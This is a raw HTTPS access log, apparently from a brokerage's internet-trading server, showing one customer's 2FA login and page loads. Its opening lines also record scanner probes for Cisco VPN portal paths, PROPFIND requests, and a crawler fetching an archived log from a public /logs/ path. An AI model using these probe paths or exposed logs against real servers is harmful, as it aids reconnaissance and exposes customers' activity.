[09/Jan/2026:08:00:45 +0800] 165.227.52.167 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOL+/Java.jar HTTP/1.1" 196
[09/Jan/2026:08:00:47 +0800] 165.227.52.167 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/logon_forms.js HTTP/1.1" 196
[09/Jan/2026:08:00:48 +0800] 165.227.52.167 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOL+/a1.jar HTTP/1.1" 196
[09/Jan/2026:08:00:49 +0800] 165.227.52.167 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/transfer.js HTTP/1.1" 196
[09/Jan/2026:08:02:51 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:08:05:57 +0800] 207.46.13.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_ssl_request_log.20250714 HTTP/1.1" 15326771
[09/Jan/2026:08:06:36 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:08:07:47 +0800] 49.51.253.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:08:14:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:08:14:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:08:14:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:08:14:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 455
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767917929374 HTTP/1.1" 3188
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:14:20 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 421
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:08:14:39 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767917949163 HTTP/1.1" 3188
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:08:14:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
